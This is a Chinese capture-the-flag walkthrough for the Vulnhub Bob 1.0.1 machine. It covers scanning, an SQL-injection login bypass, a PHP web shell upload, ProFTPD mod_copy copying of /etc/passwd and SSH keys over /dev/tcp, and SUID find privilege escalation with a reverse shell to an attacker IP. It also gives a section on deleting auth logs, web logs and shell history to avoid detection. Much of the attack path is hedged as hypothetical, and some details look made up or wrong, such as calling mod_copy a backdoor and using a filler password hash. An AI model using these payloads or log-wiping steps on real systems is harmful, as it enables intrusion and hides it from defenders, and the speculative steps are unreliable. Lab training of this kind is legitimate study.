Bob 1.0.1靶机实战:从Web渗透到权限提升的完整渗透测试思维构建

发布时间:2026/6/20 12:01:29
Bob 1.0.1靶机实战:从Web渗透到权限提升的完整渗透测试思维构建 1. 项目概述从Bob 1.0.1靶机看实战渗透的思维构建最近在Vulnhub上看到Bob 1.0.1这个靶机又被不少朋友提起作为一款经典的入门到中级难度的实战环境它确实是个不错的“练手场”。这个靶机模拟了一个存在多处漏洞的Web应用服务器目标很直接拿到root权限读取最终的flag文件。听起来简单但整个渗透路径却巧妙地串联了信息收集、Web漏洞利用、权限提升等多个核心环节非常适合用来检验和巩固渗透测试的基础方法论。我自己也反复打过几次每次都能发现一些之前忽略的细节。今天我就以Bob 1.0.1为例把整个渗透过程掰开揉碎了讲一遍重点不是复现命令而是分享在每个环节背后的思考逻辑和可能遇到的“坑”。无论你是刚接触渗透测试的新手还是想温故知新的朋友希望这篇详尽的实战记录能给你带来一些启发。2. 环境搭建与初始信息收集2.1 靶机环境配置与网络发现首先你得有个能运行的环境。从Vulnhub官网下载Bob 1.0.1的OVA文件导入到VMware或VirtualBox中。我习惯用VirtualBox因为它对个人用户更友好。导入后务必将靶机的网络模式设置为“桥接”或者“Host-Only”。桥接模式会让靶机和你自己的攻击机比如Kali Linux处于同一物理网络段像两个真实的设备一样这样扫描和攻击最直接。如果网络环境复杂用Host-Only模式配合VirtualBox的虚拟网卡也能保证两者互通且与外界隔离更安全。启动靶机后它通常不会显示IP地址。我们的第一个任务就是找到它。在Kali上打开终端最常用的命令是netdiscover。这是一个基于ARP协议的网络发现工具能快速找出同一网段内存活的设备。sudo netdiscover -r 192.168.1.0/24这里的-r参数指定了扫描范围你需要根据自己实际的网络环境修改。比如你的Kali IP是192.168.1.105那么子网可能就是192.168.1.0/24。运行后你会看到一堆MAC地址和IP寻找那些厂商信息显示为“VMware”或“VirtualBox”的大概率就是我们的靶机。假设我们找到了靶机IP192.168.1.120。注意有时netdiscover可能因为权限或网络配置问题扫不到备用方案是使用nmap进行ping扫描nmap -sn 192.168.1.0/24。这个命令会发送ICMP回声请求和TCP SYN包到443端口、TCP ACK包到80端口综合判断主机是否在线通常也很有效。2.2 全面的端口与服务扫描知道IP后下一步就是“敲门”看看靶机上开了哪些“门”端口运行着什么服务。这里要用到渗透测试的“瑞士军刀”——Nmap。我们不只要做快速扫描更要做深度扫描获取尽可能多的信息。nmap -sS -sV -sC -O -p- 192.168.1.120 -oN nmap_initial.txt我来拆解一下这个命令-sS: TCP SYN扫描。这是一种半开放扫描发送SYN包如果收到SYN/ACK回复就认为端口开放然后立刻发送RST断开不完成完整的三次握手相对隐蔽。-sV: 版本探测。尝试识别运行在开放端口上的服务及其具体版本号这对寻找已知漏洞至关重要。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行更深入的探测比如检查HTTP服务的标题、robots.txt文件或者尝试识别一些简单的漏洞。-O: 操作系统探测。通过分析TCP/IP协议栈的指纹来猜测目标操作系统。-p-: 扫描所有65535个端口。默认Nmap只扫描最常见的1000个端口但实战中管理员经常把服务放在非标准端口上全端口扫描是必须的。-oN nmap_initial.txt: 将扫描结果以标准格式输出到文件方便后续查阅。扫描结果通常会显示类似这样的信息PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 2112/tcp open ftp ProFTPD 1.3.5从结果中我们获得了三个关键入口22端口 - SSH服务运行的是OpenSSH 7.2p2。这个版本存在一些已知漏洞但通常不是最优先的突破口因为SSH的爆破或漏洞利用相对较难。80端口 - HTTP服务Apache 2.4.18。这是我们的主攻方向Web应用往往包含更多逻辑漏洞和配置问题。2112端口 - FTP服务运行的是ProFTPD 1.3.5。这是一个非常重要的发现因为ProFTPD 1.3.5有一个著名的后门漏洞CVE-2015-3306。我们需要立刻记下这个点。3. Web渗透与漏洞利用分析3.1 网站目录枚举与敏感文件发现拿到Web服务的入口我们首先要对网站结构进行侦察。使用工具如gobuster或dirb来暴力破解隐藏的目录和文件。gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster_scan.txt-u: 指定目标URL。-w: 指定字典文件。Kali自带的common.txt是个不错的起点。-x: 指定要尝试的文件扩展名。很多Web应用使用PHP同时也要找txt、备份文件(.bak)等。-o: 输出结果到文件。扫描结果可能会发现一些有趣的路径比如/admin 管理后台入口。/index.php 主页面。/robots.txt 这个文件特别重要它有时会暴露出不想被搜索引擎抓取的目录也就是开发者认为敏感的路径。访问http://192.168.1.120/robots.txt我们可能会看到类似内容User-agent: * Disallow: /admin/ Disallow: /dev/ Disallow: /secret/这直接给我们指明了三个需要重点关注的目录。3.2 漏洞挖掘与利用从SQL注入到文件上传逐一访问这些目录。假设/admin是一个登录页面。面对登录框我们本能地要测试是否存在SQL注入。使用Burp Suite拦截登录请求或者直接在用户名输入框尝试经典payloadadmin or 11。如果存在注入我们可能会绕过登录进入后台。在Bob靶机中后台可能有一个“添加用户”或“文件上传”的功能。文件上传功能是Web安全中一个极高危的点。假设我们找到了一个上传头像的功能它只在前端用JavaScript检查了文件扩展名比如只允许.jpg, .png。这种前端验证形同虚设我们可以用Burp Suite轻松绕过。实操步骤准备一个PHP的Web Shell例如一句话木马?php system($_GET[‘cmd’]); ?保存为shell.php.jpg。这样能骗过前端检查。在Burp Suite中拦截上传请求将文件名shell.php.jpg改为shell.php然后放行。如果服务器没有在后端对文件内容和扩展名做严格校验我们的Web Shell就会被上传到服务器比如在/uploads/目录下。访问http://192.168.1.120/uploads/shell.php?cmdid如果页面上返回了当前用户的ID信息如uid33(www-data) gid33(www-data) groups33(www-data)那么恭喜我们获得了网站服务器的命令执行权限也就是通常所说的“Web Shell”。重要心得上传漏洞的利用成功与否取决于后端过滤策略。常见绕过手法除了改包还有双写扩展名shell.pHp.jpg某些过滤逻辑可能删除php字符串处理后变成shell.jpg但双写就能剩下.pHp。利用解析漏洞例如IIS的shell.php;.jpg或Nginx在某些错误配置下将shell.jpg当作PHP执行。内容类型Content-Type欺骗将Burp中请求头的Content-Type改为image/jpeg。 在Bob靶机中通常是一种比较简单的过滤用于教学目的。3.3 利用ProFTPD后门获取初始立足点还记得我们在端口扫描时发现的2112端口运行的ProFTPD 1.3.5吗现在我们有了Web Shell可以尝试利用这个著名的漏洞。ProFTPD 1.3.5版本在mod_copy模块中有一个后门命令SITE CPFR和SITE CPTO允许任意用户复制服务器上的任何文件到任何位置。这意味着我们可以复制敏感文件比如/etc/passwd用户账户信息或者SSH私钥。利用过程通过Web Shell我们可以用ncnetcat连接到靶机的2112端口。但更简单的方式是直接用Web Shell执行命令。在Web Shell的cmd参数中执行以下命令模拟FTP客户端利用漏洞# 首先通过Web Shell创建一个简单的脚本或直接使用管道和重定向。我们可以用Python或Perl来发送原始FTP命令。 # 以下是一个使用bash和/dev/tcp实现的简单利用假设靶机bash支持 exec 3/dev/tcp/192.168.1.120/2112 echo -e SITE CPFR /etc/passwd\nSITE CPTO /tmp/passwd_copy 3 cat 3这个命令会尝试将/etc/passwd文件复制到/tmp/passwd_copy。如果成功我们就可以通过Web Shell读取/tmp/passwd_copy文件查看系统用户列表。更重要的是我们要寻找SSH私钥。通常用户的家目录下可能有.ssh/id_rsa文件。尝试复制目标用户比如一个叫bob或jeff的用户的私钥exec 3/dev/tcp/localhost/2112 echo -e SITE CPFR /home/bob/.ssh/id_rsa\nSITE CPTO /tmp/id_rsa 3 cat 3如果成功通过Web Shell读取/tmp/id_rsa你将得到一段私钥文本。将其保存到你的攻击机上例如bob_id_rsa并修改权限为600只有所有者可读可写chmod 600 bob_id_rsa使用这个私钥通过SSH登录ssh -i bob_id_rsa bob192.168.1.120如果私钥没有密码你将直接获得一个低权限的shell用户bob。如果设置了密码我们可能需要暴力破解或者寻找其他途径。踩坑记录利用ProFTPD漏洞时复制的源路径和目标路径必须都是绝对路径。有时你需要精确知道家目录的路径。如果不知道用户名可以先复制/etc/passwd来查看。另外不是所有ProFTPD 1.3.5都一定开启mod_copy但这个靶机为了教学目的通常是开启的。4. 权限提升与内部横向移动4.1 系统信息枚举与SUID权限审计通过SSH或者稳定的Web Shell获得一个低权限用户如www-data或bob的shell后我们进入了内部环境。下一步目标是提升到root权限。首先进行彻底的系统信息枚举。我习惯创建一个检查清单当前用户和权限idwhoami系统信息uname -acat /etc/issuecat /etc/*release进程信息ps aux或ps -ef 查看以root运行的、不常见的进程。网络连接netstat -tulpn或ss -tulpn 查看内部开放的其他端口和服务。计划任务crontab -l当前用户 查看/etc/crontab 以及/etc/cron.d//etc/cron.hourly/等目录寻找可以修改的、以root权限执行的脚本。可写文件与目录find / -type f -writable -user $(whoami) 2/dev/null | grep -v /proc 寻找当前用户可写的敏感文件。SUID/SGID文件这是提权的黄金检查点。SUIDSet User ID文件在执行时会以文件所有者的权限运行。如果找到一个属于root且具有SUID权限的、非常规的可执行文件就可能存在提权漏洞。find / -type f -perm -us -user root 2/dev/null在Bob靶机中执行SUID查找命令后你可能会发现一个不常见的二进制文件例如/usr/bin/find。find命令本身是系统常用命令但它如果被设置了SUID位就可以被用来提权。4.2 利用SUID二进制文件进行提权find命令有一个-exec参数可以执行任意命令。当find以SUID root权限运行时通过-exec执行的命令也将拥有root权限。提权步骤确认/usr/bin/find具有SUID权限ls -la /usr/bin/find输出中应有-rwsr-xr-x其中的s就是SUID标志。利用find命令执行一个反弹shell或者直接添加一个具有root权限的用户。方法一添加root用户到/etc/passwd首先生成一个密码哈希。使用openssl生成一个密码为newroot的哈希openssl passwd -1 -salt abc newroot假设输出是$1$abc$TkWoB2.9F9F9F9F9F9F9F9。 然后构造一个包含新root用户的字符串echo newroot:\$1\$abc\$TkWoB2.9F9F9F9F9F9F9F9:0:0:root:/root:/bin/bash /tmp/passwd_new最后使用find命令的-exec参数用root权限将这一行追加到/etc/passwd/usr/bin/find /tmp/passwd_new -exec cat {} \; /etc/passwd现在你可以使用用户名newroot和密码newroot通过su命令切换到root。su newroot方法二获取root shell更直接的方法是让find执行一个以root权限运行的shell/usr/bin/find / -exec /bin/sh \; -quit或者如果你在外网有监听可以弹一个root权限的shell回来 在攻击机监听nc -lvnp 4444在靶机执行/usr/bin/find / -exec bash -c bash -i /dev/tcp/攻击机IP/4444 01 \; -quit核心原理SUID提权的本质是找到了一个“特权程序”这个程序在设计上或配置上允许我们以高权限执行我们控制的代码。除了find常见的危险SUID程序还有vim如果支持!command、nmap旧版本的交互模式、bash某些版本、cp、mv等。关键在于用find / -perm -us -type f 2/dev/null找出它们然后去GTFOBins一个著名的Linux二进制提权技术库网站查询对应的利用方法。4.3 其他提权路径的探索SUID提权是经典路径但一个完整的渗透测试者不能只依赖一条路。在Bob靶机中可能还隐藏着其他提权点我们需要培养多角度探查的习惯内核漏洞提权运行uname -a查看内核版本然后搜索该版本是否存在公开的本地提权漏洞如Dirty Cow, CVE-2016-5195。可以使用searchsploit工具在本地查找searchsploit linux kernel 4.4.0-21 # 替换成你的内核版本如果找到下载对应的利用代码在靶机上编译执行可能需要安装gcc。环境变量劫持如果发现以root权限运行的、调用了相对路径命令的脚本例如在crontab里发现了backup.sh而内容为tar czf /backup/backup.tar.gz /home/bob并且当前用户对脚本所在目录有写权限或者对PATH环境变量有控制权就可以进行劫持。例如在/tmp下创建一个恶意的tar程序然后修改当前会话的PATH让脚本优先执行我们的恶意tar。sudo权限滥用检查当前用户可以用sudo执行哪些命令sudo -l。如果允许无密码执行某些命令如sudo /usr/bin/vimsudo /usr/bin/python那么直接可以通过这些命令启动一个root shell例如sudo vim -c ‘:!bash’或sudo python -c ‘import os; os.system(“/bin/bash”)’。在Bob靶机中主要设计的提权路径就是SUID的find但了解这些其他方法能让你在更复杂的真实环境中游刃有余。5. 后渗透与痕迹清理5.1 定位并获取最终Flag拿到root权限后最后一步就是找到证明你成功的“战利品”——flag文件。在Vulnhub靶机中flag通常位于/root目录下名字可能是flag.txt、proof.txt、root.txt等。cd /root ls -la cat flag.txt或者用find命令全局搜索find / -name *flag* 2/dev/null find / -name *proof* 2/dev/null find / -name *.txt -type f -exec grep -l “THM{” {} \; 2/dev/null # 如果flag是特定格式将flag内容记录下来这就是你完成渗透的最终证据。5.2 清理入侵痕迹仅限授权测试在获得明确授权的渗透测试中清理痕迹是职业操守的一部分目的是避免被后续的安全监测发现也避免给客户系统留下后门。主要清理以下几类日志认证日志/var/log/auth.log(Ubuntu/Debian)/var/log/secure(CentOS/RHEL) 删除包含你IP地址或用户名的SSH登录失败/成功记录。Web访问日志Apache:/var/log/apache2/access.log,/var/log/apache2/error.logNginx:/var/log/nginx/access.log,/var/log/nginx/error.log删除你进行目录扫描、SQL注入、文件上传访问的记录。命令历史当前用户的命令历史history -c或清空~/.bash_history文件。如果你切换过用户也要清理相应用户目录下的.bash_history。你创建的文件和工具删除上传的Web Shell如/uploads/shell.php、下载的漏洞利用程序、复制的私钥文件如/tmp/id_rsa等。添加的用户如果你通过修改/etc/passwd添加了用户记得删除那一行。重要警告仅在获得书面授权的渗透测试环境中进行痕迹清理。在非法攻击中清理痕迹是违法的并且有经验的管理员会通过日志服务器、入侵检测系统IDS或文件完整性监控FIM发现异常。这里的介绍仅用于教学和理解攻击者视角。5.3 撰写渗透测试报告要点完成所有步骤后一份清晰的报告是价值的最终体现。报告不应只是命令的罗列而应体现你的思考过程。报告结构建议执行摘要用非技术语言向管理层简述发现了什么风险其可能造成的业务影响如数据泄露、系统瘫痪。测试范围与方法明确测试的IP、时间、使用的技术类型黑盒/白盒。详细发现这是核心。按风险等级高危、中危、低危列出每个漏洞。漏洞标题如“ProFTPD 1.3.5 后门漏洞 (CVE-2015-3306)导致未授权文件复制”。风险等级高危。受影响资产192.168.1.120:2112。漏洞描述简述漏洞原理。复现步骤提供清晰的步骤让开发或运维人员能复现问题。证据截图关键步骤的截图如Nmap扫描结果、利用成功的命令回显、获取的flag等。修复建议给出具体、可操作的修复方案。例如“升级ProFTPD至最新版本或禁用mod_copy模块。”附录可以放置一些完整的工具输出如Nmap扫描报告。通过Bob 1.0.1这个靶机我们完整地走了一遍从外部侦察、Web渗透、服务漏洞利用到系统提权的流程。每个环节都环环相扣信息收集的质量直接决定了后续攻击的效率和成功率。真正的渗透测试工具和命令只是表象底层是持续的好奇心、严谨的逻辑思维和对系统原理的深刻理解。多打靶机多思考“为什么这里能成功”、“如果这里不行下一步该怎么办”这种思维模式的锻炼远比死记硬背几个payload重要得多。